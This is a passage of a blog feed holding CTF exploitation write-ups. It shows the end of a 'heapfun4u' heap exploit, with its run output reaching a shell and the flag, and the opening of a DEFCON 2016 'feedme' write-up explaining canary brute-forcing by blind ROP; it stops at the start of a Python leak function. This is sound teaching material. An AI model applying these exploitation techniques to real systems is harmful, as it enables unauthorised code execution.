&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;────────────────────────────────────────────────────[&lt;&#x2F;span&gt;&lt;span&gt; xinfo: 0x7fffffffe458 ]──────────────────────────────────────
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; 0x00007fffffffe458
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Page:&lt;&#x2F;span&gt;&lt;span&gt; 0x00007ffffffde000 → 0x00007ffffffff000 (size=0x21000)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Permissions:&lt;&#x2F;span&gt;&lt;span&gt; rw-
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Pathname: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;stack&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Offset&lt;&#x2F;span&gt;&lt;span&gt; (from page)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; +0x20458
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Inode:&lt;&#x2F;span&gt;&lt;span&gt; 0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This means that we have transformed it into a regular stack overflow, simply by
writing at the newly allocated address 0x7fffffffe458. Since, when allocating a
new buffer, &lt;code&gt;heapfun4u&lt;&#x2F;code&gt; calls &lt;code&gt;mmap()&lt;&#x2F;code&gt; with Read|Write|Execute, we have plenty
to location to drop our shellcode and jump to it.&lt;&#x2F;p&gt;
&lt;p&gt;This completes our execution steps.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pwn&quot;&gt;Pwn !&lt;&#x2F;h4&gt;
&lt;p&gt;Run the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;892495d2299189db06517ff9a0b6249b&quot;&gt;exploit code&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&#x2F;cur&#x2F;heapfun4u&lt;&#x2F;span&gt;&lt;span&gt; $ .&#x2F;heapfun4u.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Connected to 172.28.128.4:3957
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Attach&lt;&#x2F;span&gt;&lt;span&gt; with GDB and hit Enter
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; rbp = 0x7ffc8c5d7ca0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; rsp = 0x7ffc8c5d7c40
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; 1st allocation ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; 2nd allocation ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; 3rd allocation ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Leaked mmap-ed areas: 0x7f9c522fd008
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Free(#3) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Free(#2) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Overwriting pointer ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Stack pivot ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Overwriting rip ok
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Trigger return to 7f9c522fd008
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Switching to interactive...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;To&lt;&#x2F;span&gt;&lt;span&gt; run a command as administrator (user &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;root&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; use &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sudo &amp;lt;command&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;See &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;man sudo_root&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; for details.
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;vagrant@ubuntu-wily-15:&#x2F;home&#x2F;vagrant$&lt;&#x2F;span&gt;&lt;span&gt; id
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;id
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;uid&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;vagrant&lt;&#x2F;span&gt;&lt;span&gt;) gid=1000(vagrant) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;groups&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;vagrant&lt;&#x2F;span&gt;&lt;span&gt;),4(adm)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,24&lt;&#x2F;span&gt;&lt;span&gt;(cdrom)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,27&lt;&#x2F;span&gt;&lt;span&gt;(sudo)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,30&lt;&#x2F;span&gt;&lt;span&gt;(dip)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,46&lt;&#x2F;span&gt;&lt;span&gt;(plugdev)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,115&lt;&#x2F;span&gt;&lt;span&gt;(lpadmin)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,116&lt;&#x2F;span&gt;&lt;span&gt;(sambashare) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;vagrant@ubuntu-wily-15:&#x2F;home&#x2F;vagrant$
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At that time, my teammate from TheGoonies &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;rick2600&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@rick2600&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 had also read the flag file, which was:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;The flag is: Oh noze you pwned my h33p.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>DEFCON CTF 2016 - feedme</title>
        <published>2016-05-23T00:00:00+00:00</published>
        <updated>2016-05-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-05-23-defcon-ctf-2016-feedme/"/>
        <id>https://blahcat.github.io/2016-05-23-defcon-ctf-2016-feedme/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-05-23-defcon-ctf-2016-feedme/">&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;p&gt;The vulnerable file was given with the instructions:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;:::text
&lt;&#x2F;span&gt;&lt;span&gt;Don&amp;#39;t forget to feed me
&lt;&#x2F;span&gt;&lt;span&gt;http:&#x2F;&#x2F;www.scs.stanford.edu&#x2F;brop&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here are some info given by &lt;code&gt;gef&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file .&#x2F;feedme
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;feedme:&lt;&#x2F;span&gt;&lt;span&gt; ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; statically linked, for GNU&#x2F;Linux 2.6.24, stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;home&#x2F;vagrant&#x2F;feedme&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary:&lt;&#x2F;span&gt;&lt;span&gt;                                           No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support:                                      No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                            No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RUNPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                          No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                    No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                       No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;feedme&lt;&#x2F;code&gt; is statically linked x86 binary that forks and then expects “to be fed”
with some input. Pretty simple, right?&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;The vulnerability in this case is easy to spot:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  c
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Continuing.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[New&lt;&#x2F;span&gt;&lt;span&gt; process 1349]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;FEED&lt;&#x2F;span&gt;&lt;span&gt; ME!
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ATE&lt;&#x2F;span&gt;&lt;span&gt; 41414141414141414141414141414141...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;***&lt;&#x2F;span&gt;&lt;span&gt; stack smashing detected ***: &#x2F;home&#x2F;vagrant&#x2F;feedme terminated
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Program&lt;&#x2F;span&gt;&lt;span&gt; received signal SIGABRT, Aborted.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[Switching&lt;&#x2F;span&gt;&lt;span&gt; to process 1349]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[registers]──
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span&gt;     0x00000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ebx&lt;&#x2F;span&gt;&lt;span&gt;     0x00000545 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ecx&lt;&#x2F;span&gt;&lt;span&gt;     0x00000545 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;edx&lt;&#x2F;span&gt;&lt;span&gt;     0x00000006 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;esp&lt;&#x2F;span&gt;&lt;span&gt;     0xffffd388 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ebp&lt;&#x2F;span&gt;&lt;span&gt;     0xffffd5f8
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;esi&lt;&#x2F;span&gt;&lt;span&gt;     0xffffd518 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;edi&lt;&#x2F;span&gt;&lt;span&gt;     0xffffd434 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eip&lt;&#x2F;span&gt;&lt;span&gt;     0xf7ffdba0 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs&lt;&#x2F;span&gt;&lt;span&gt;      0x00000023 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ss&lt;&#x2F;span&gt;&lt;span&gt;      0x0000002b $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ds&lt;&#x2F;span&gt;&lt;span&gt;      0x0000002b
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;es&lt;&#x2F;span&gt;&lt;span&gt;      0x0000002b $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fs&lt;&#x2F;span&gt;&lt;span&gt;      0x00000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gs&lt;&#x2F;span&gt;&lt;span&gt;      0x00000063 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eflags  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt; IF &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Flags: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt; carry  parity  adjust  zero  sign  trap  INTERRUPT  direction  overflow  resume  virtualx86  identification &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[stack]──
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd388│+0x00:&lt;&#x2F;span&gt;&lt;span&gt; 0xffffd5f8 → 0xffffd678 → 0x41414141		← $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd38c│+0x04:&lt;&#x2F;span&gt;&lt;span&gt; 0x6
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd390│+0x08:&lt;&#x2F;span&gt;&lt;span&gt; 0x545
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd394│+0x0c:&lt;&#x2F;span&gt;&lt;span&gt; 0x0807bed7 → cmp eax,0xfffff000
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd398│+0x10: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd39c│+0x14:&lt;&#x2F;span&gt;&lt;span&gt; 0x0804e3e1 → mov edx,DWORD PTR gs:0x8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd3a0│+0x18:&lt;&#x2F;span&gt;&lt;span&gt; 0x6
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xffffd3a4│+0x1c:&lt;&#x2F;span&gt;&lt;span&gt; 0xffffd3b4 → &amp;quot; &amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[code:i386]──
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xf7ffdb9b	 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;__kernel_vsyscall+11&amp;gt;  nop
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xf7ffdb9b	 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;__kernel_vsyscall+11&amp;gt;  nop
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xf7ffdb9c	 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;__kernel_vsyscall+12&amp;gt;  nop
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xf7ffdb9d	 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;__kernel_vsyscall+13&amp;gt;  nop
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xf7ffdb9e	 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;__kernel_vsyscall+14&amp;gt;  int    0x80
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0xf7ffdba0	 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;__kernel_vsyscall+16&amp;gt;  pop    ebp 		 ← $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The interesting function is at 0x08049036:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;WLAWsAW.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;WLAWsAW.png&quot;

    

    
    title=&quot;do-feedme&quot;
    alt=&quot;do-feedme&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;This function basically will:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;0x8049053-0x8049058&lt;&#x2F;code&gt;: call the &lt;code&gt;xread_char()&lt;&#x2F;code&gt; function, which will read 1
character from stdin and store it in the stack variable (called &lt;code&gt;len&lt;&#x2F;code&gt;);&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x804905F-0x8049069&lt;&#x2F;code&gt;: use this variable as the number of byte to read from stdin in the call to
&lt;code&gt;xread_buffer()&lt;&#x2F;code&gt;, and store the result in the stack buffer allocated,
called &lt;code&gt;buf&lt;&#x2F;code&gt;, whose size is 0x20 bytes;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x804907E-0x8049084&lt;&#x2F;code&gt;: copy the &lt;code&gt;buf&lt;&#x2F;code&gt; content to a bigger array (0x400 bytes) located at the
address 0x80EBF40.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x804909D-0x80490A7&lt;&#x2F;code&gt;check if the &lt;code&gt;canary&lt;&#x2F;code&gt; variable has been tampered with, if so leave in
error.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;So we have a traditional stack buffer overflow, where we need to bypass the
canary token.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;p&gt;Before continuing, I would recommend reading the paper &amp;amp; slides related to the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.scs.stanford.edu&#x2F;brop&#x2F;&quot;&gt;blind-rop technique&lt;&#x2F;a&gt; we’re going to be using.&lt;&#x2F;p&gt;
&lt;p&gt;Since the child process is being forked, we know that the parent and child are
identical in every way, including the memory mapping and the canary token. So
the idea for this exploitation is to brute-force one-by-one all the bytes from the
canary variable in stack, with the following binary logic: overwrite one byte of
the canary with a value, &lt;code&gt;X&lt;&#x2F;code&gt;. If we have a crash, it will mean that the canary is
corrupted, and therefore &lt;code&gt;X&lt;&#x2F;code&gt; is not valid. If it does not crash, then &lt;code&gt;X&lt;&#x2F;code&gt; is
valid, and we can reproduce this action with the following canary byte
(this is very analog to the exploitation of a colour-blind SQL
injection exploitation).&lt;&#x2F;p&gt;
&lt;p&gt;So we have this buffer:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt; A A A A A A A A A A A A A A| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; 2 3 4|
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If we attempt to corrupt the first byte of the canary with a wrong value, our
process will be killed immediately and we will receive the message (“Child exit”):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt; A A A A A A A A A A A A A A| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;X&lt;&#x2F;span&gt;&lt;span&gt; 2 3 4|
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But when the value for the byte is valid, the program will continue its
execution at 0x080490DF and display a message (“YUM, got…”).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;080490DF&lt;&#x2F;span&gt;&lt;span&gt; mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;, eax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;080490E3&lt;&#x2F;span&gt;&lt;span&gt; mov     dword ptr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;, offset aYumGotDBytes ; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;YUM, got %d bytes!\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;080490EA&lt;&#x2F;span&gt;&lt;span&gt; call    xprintf
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So leaking one byte can be summed with the following Python code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;leak_canary_byte&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;prefix&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;off&lt;&#x2F;span&gt;&lt;span&gt;):
